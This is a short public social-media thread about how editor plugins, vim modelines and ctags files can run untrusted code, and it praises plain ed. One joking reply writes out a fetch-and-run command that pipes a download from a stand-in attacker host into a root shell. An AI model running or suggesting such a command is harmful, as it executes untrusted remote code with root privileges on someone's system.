Login
You're viewing the code4lib.social public feed.
  • Oct 30, 2026, 2:25 PM

    You know what doesn’t have a high probability of getting compromised via some shady plugin because it doesn’t somehow execute random js code from somewhere on the internet? A normal text editor.

    Ed, man! !man ed

    (Alright, alright, I’ll also accept vi(1).)

    💬 4🔄 2⭐ 0

Replies

  • Oct 30, 2026, 2:28 PM

    @jschauma Surprisingly many editors that support "plugins" that are "conveniently" installed from a centralized repository are susceptible to similar problems though.

    💬 0🔄 0⭐ 0
  • 💬 0🔄 0⭐ 0
  • Oct 30, 2026, 3:42 PM

    @jschauma

    To be fair, ed(1) will give you enough rope to shoot yourself in the foot.

    $ ed innocent.txt
    !curl evil.example.com | sudo sh

    The important bit is that it doesn't do those sorts of things without your explicit request

    :flan_wink:

    💬 0🔄 0⭐ 0
  • Oct 30, 2026, 3:45 PM

    @jschauma So vim (not vi) has the modeline, so we know not to use that now. But vi (and descendants) read ctags in the file tags. And by default, i think when you do a tag lookup, ^], it just _executes_ the command in the tags file, which is normally a search. but, yknow. Don't use anyone else's file, and don't let them be stored in VCS repos, really.

    💬 0🔄 0⭐ 0